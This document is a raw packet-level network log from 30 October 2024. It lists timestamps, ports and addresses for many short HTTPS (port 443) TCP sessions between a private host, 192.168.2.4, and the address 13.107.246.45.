Oct 30, 2024 02:28:13.784576893 CET	443	49857	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.786732912 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.786757946 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:13.786827087 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.786973953 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:13.786984921 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.228432894 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.229053020 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.229067087 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.229484081 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.229487896 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.245146990 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.245472908 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.245488882 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.245830059 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.245836020 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.317398071 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.317780972 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.317801952 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.318276882 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.318284035 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.359950066 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.360721111 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.360791922 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.360819101 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.360838890 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.360850096 CET	49858	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.360855103 CET	443	49858	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.363471031 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.363497972 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.363584042 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.363728046 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.363738060 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.376336098 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.376486063 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.376590967 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.376640081 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.376646996 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.376656055 CET	49859	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.376662970 CET	443	49859	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.378587008 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.378611088 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.378676891 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.378787994 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.378803015 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.449248075 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.449417114 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.449481010 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.449518919 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.449537039 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.449572086 CET	49860	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.449579954 CET	443	49860	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.451355934 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.451452017 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.451546907 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.451659918 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.451698065 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.459335089 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.459620953 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.459634066 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.460016012 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.460021973 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.536289930 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.536741972 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.536766052 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.537206888 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.537214041 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.588695049 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.588737011 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.588797092 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.588839054 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.588884115 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.589044094 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.589052916 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.589061975 CET	49861	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.589066029 CET	443	49861	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.591613054 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.591625929 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.591710091 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.592005968 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.592017889 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.669037104 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.669181108 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.669235945 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.669306993 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.669325113 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.669338942 CET	49862	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.669346094 CET	443	49862	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.671621084 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.671684027 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:14.671756029 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.671864986 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:14.671894073 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.112471104 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.113043070 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.113068104 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.113472939 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.113527060 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.113533020 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.113795042 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.113812923 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.114137888 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.114142895 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.199153900 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.199587107 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.199635029 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.199976921 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.199991941 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.242192030 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.242352962 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.242424965 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.242525101 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.242533922 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.242543936 CET	49864	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.242547989 CET	443	49864	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.244820118 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.244962931 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.245037079 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.245063066 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.245071888 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.245099068 CET	49863	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.245102882 CET	443	49863	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.245659113 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.245748997 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.245826006 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.245956898 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.245987892 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.246925116 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.246954918 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.247028112 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.247164965 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.247179031 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.330518961 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.330585957 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.330692053 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.330701113 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.330749989 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.331022024 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.331022024 CET	49865	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.331056118 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.331079960 CET	443	49865	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.333661079 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.333698988 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.333791971 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.333950043 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.333975077 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.334650040 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.335025072 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.335035086 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.335475922 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.335481882 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.426357985 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.426827908 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.426855087 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.427227974 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.427241087 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.466023922 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.466101885 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.466154099 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.466263056 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.466269016 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.466278076 CET	49866	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.466281891 CET	443	49866	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.468492031 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.468506098 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.468570948 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.468874931 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.468887091 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.559242010 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.559310913 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.559416056 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.559446096 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.559479952 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.559542894 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.559624910 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.559624910 CET	49867	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.559649944 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.559673071 CET	443	49867	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.562079906 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.562139034 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.562239885 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.562401056 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.562431097 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.983966112 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.984023094 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.984453917 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.984466076 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.984602928 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.984687090 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.984911919 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.984916925 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:15.985088110 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:15.985101938 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.069766998 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.070149899 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.070189953 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.070535898 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.070548058 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.113410950 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.113555908 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.113625050 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.113729954 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.113737106 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.113749981 CET	49869	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.113754034 CET	443	49869	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.115010977 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.115147114 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.115232944 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.115232944 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.115292072 CET	49868	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.115336895 CET	443	49868	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.116519928 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.116543055 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.116621017 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.116731882 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.116743088 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.117237091 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.117310047 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.117383957 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.117532969 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.117568016 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.198220015 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.198364019 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.198462009 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.198497057 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.198513031 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.198534966 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.198548079 CET	49870	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.198554993 CET	443	49870	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.198847055 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.198853970 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.199337959 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.199342012 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.200874090 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.200885057 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.200958014 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.201071024 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.201081991 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.303360939 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.303939104 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.303976059 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.304387093 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.304404020 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.334553957 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.334590912 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.334645033 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.334660053 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.334702969 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.334919930 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.334924936 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.334937096 CET	49871	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.334940910 CET	443	49871	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.337831020 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.337843895 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.337946892 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.338113070 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.338124990 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.435879946 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.436072111 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.436209917 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.436261892 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.436261892 CET	49872	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.436296940 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.436325073 CET	443	49872	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.439428091 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.439507961 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.439596891 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.439733028 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.439753056 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.854598999 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.855048895 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.855067968 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.855444908 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.855449915 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.866400003 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.866715908 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.866765022 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.867079020 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.867093086 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.957637072 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.958233118 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.958245993 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.958590031 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.958595037 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.985338926 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.985486984 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.985644102 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.985644102 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.985645056 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.988300085 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.988313913 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.988393068 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.988523960 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.988535881 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.996862888 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.996968031 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.997034073 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.997250080 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.997250080 CET	49874	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.997294903 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.997319937 CET	443	49874	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.999248981 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.999351978 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:16.999435902 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.999551058 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:16.999587059 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.081880093 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.082382917 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.082396984 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.082828045 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.082835913 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.116621017 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.116681099 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.116731882 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.116740942 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.116789103 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.116837025 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.116965055 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.116974115 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.116982937 CET	49875	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.116986990 CET	443	49875	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.119755030 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.119781971 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.119846106 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.119966984 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.119982958 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.212171078 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.212518930 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.212557077 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.212877035 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.212889910 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.214154005 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.214437962 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.214490891 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.214521885 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.214531898 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.214545965 CET	49876	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.214549065 CET	443	49876	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.216428041 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.216464996 CET	443	49881	13.107.246.45	192.168.2.4
